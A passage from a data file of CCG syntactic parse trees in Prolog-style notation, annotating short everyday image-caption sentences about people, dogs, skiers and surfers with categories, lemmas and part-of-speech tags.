t(n/n, 'school', 'school', 'NN', 'I-NP', 'O'),
t(n, 'children', 'child', 'NNS', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(913,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'lady', 'lady', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'street', 'street', 'NN', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:pss\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'surrounded', 'surround', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'school', 'school', 'NN', 'I-NP', 'O'),
t(n, 'children', 'child', 'NNS', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(914,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'jeans', 'jeans', 'NNS', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'front', 'front', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'children', 'child', 'NNS', 'I-NP', 'O')))))))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'beside', 'beside', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'stone', 'stone', 'NN', 'I-NP', 'O'),
fa(n,
t(n/n, 'built', 'build', 'VBN', 'I-VP', 'O'),
t(n, 'house', 'house', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(915,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'guy', 'guy', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'leaping', 'leap', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'air', 'air', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'wood', 'wood', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(916,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'guy', 'guy', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'leaping', 'leap', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'air', 'air', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'wooded', 'wooded', 'JJ', 'I-NP', 'O'),
t(n, 'area', 'area', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(917,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(918,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'carrying', 'carry', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'))),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'its', 'its', 'PRP$', 'I-NP', 'O'),
t(n, 'mouth', 'mouth', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(919,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'blue', 'blue', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'posing', 'pose', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'for', 'for', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'picture', 'picture', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/pp, 'next', 'next', 'JJ', 'I-ADVP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'vehicle', 'vehicle', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(920,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'wheel', 'wheel', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'classic', 'classic', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'American', 'american', 'JJ', 'I-NP', 'O'),
t(n, 'car', 'car', 'NN', 'I-NP', 'O')))),
fa(np\np,
t((np\np)/(s:dcl\np), 'that', 'that', 'WDT', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/np, 'has', 'have', 'VBZ', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'its', 'its', 'PRP$', 'I-NP', 'O'),
ba(n,
t(n, 'door', 'door', 'NN', 'I-NP', 'O'),
conj(n\n, n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
fa(n,
t(n/n, 'trunk', 'trunk', 'NN', 'I-NP', 'O'),
t(n, 'open', 'open', 'NN', 'I-NP', 'O')))))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(921,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'skiing', 'ski', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'down', 'down', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'hill', 'hill', 'NN', 'I-NP', 'O'))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
t(n, 'obstacle', 'obstacle', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(922,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'snowboarding', 'snowboard', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'down', 'down', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'railing', 'railing', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'snow', 'snow', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(923,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'skateboarder', 'skateboarder', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'air', 'air', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(924,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'skateboarder', 'skateboarder', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'air', 'air', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(925,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'snowboarder', 'snowboarder', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'grinding', 'grind', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'down', 'down', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'long', 'long', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'concrete', 'concrete', 'NN', 'I-NP', 'O'),
t(n, 'rail', 'rail', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(926,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'doing', 'do', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'acrobatics', 'acrobatics', 'NNS', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'snowboard', 'snowboard', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(927,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'down', 'down', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'street', 'street', 'NN', 'I-NP', 'O'))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'),
t(n, 'hat', 'hat', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'phone', 'phone', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(928,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Four', 'four', 'CD', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'along', 'along', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'city', 'city', 'NN', 'I-NP', 'O'),
t(n, 'sidewalk', 'sidewalk', 'NN', 'I-NP', 'O'))))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'one', 'one', 'CD', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'),
t(n, 'hat', 'hat', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'phoning', 'phone', 'VBG', 'I-VP', 'O'),
t(np, 'someone', 'someone', 'DT', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(929,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'surfer', 'surfer', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'surfing', 'surf', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'big', 'big', 'JJ', 'I-NP', 'O'),
t(n, 'wave', 'wave', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(930,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'surfer', 'surfer', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'surfing', 'surf', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'huge', 'huge', 'JJ', 'I-NP', 'O'),
t(n, 'wave', 'wave', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(931,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'hooded', 'hooded', 'JJ', 'I-NP', 'O'),
t(n, 'jacket', 'jacket', 'NN', 'I-NP', 'O')))),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'backpack', 'backpack', 'NN', 'I-NP', 'O'))))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'near', 'near', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'rocky', 'rocky', 'JJ', 'I-NP', 'O'),
t(n, 'wall', 'wall', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(932,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
t(n, 'jacket', 'jacket', 'NN', 'I-NP', 'O'))),
conj(np\np, np,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'khaki', 'khaki', 'NN', 'I-NP', 'O'),
t(n, 'pants', 'pants', 'NNS', 'I-NP', 'O'))))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'European', 'european', 'JJ', 'I-NP', 'O'),
t(n, 'state', 'state', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(933,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'players', 'player', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'maneuvering', 'maneuver', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'for', 'for', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'soccer', 'soccer', 'NN', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(934,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'green', 'green', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'kicking', 'kick', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'soccer', 'soccer', 'NN', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O')))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
ba(n,
t(n, 'purple', 'purple', 'JJ', 'I-NP', 'O'),
conj(n\n, n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n, 'white', 'white', 'JJ', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'rising', 'rise', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(935,
rp(s:dcl,
ba(s:dcl,
ba(np:nb,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
ba(s:pss\np,
t(s:pss\np, 'dressed', 'dress', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'leather', 'leather', 'NN', 'I-NP', 'O'),
t(n, 'chaps', 'chap', 'NNS', 'I-NP', 'O'))))))),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'purple', 'purple', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'front', 'front', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
ba(np,
t(np, 'someone', 'someone', 'DT', 'I-NP', 'O'),
t(np\np, 'lookers', 'looker', 'NNS', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(936,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'purple', 'purple', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O'))),
conj(np\np, np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
lx(np, n,
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'leather', 'leather', 'NN', 'I-NP', 'O'),
t(n, 'chaps', 'chap', 'NNS', 'I-NP', 'O')))))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
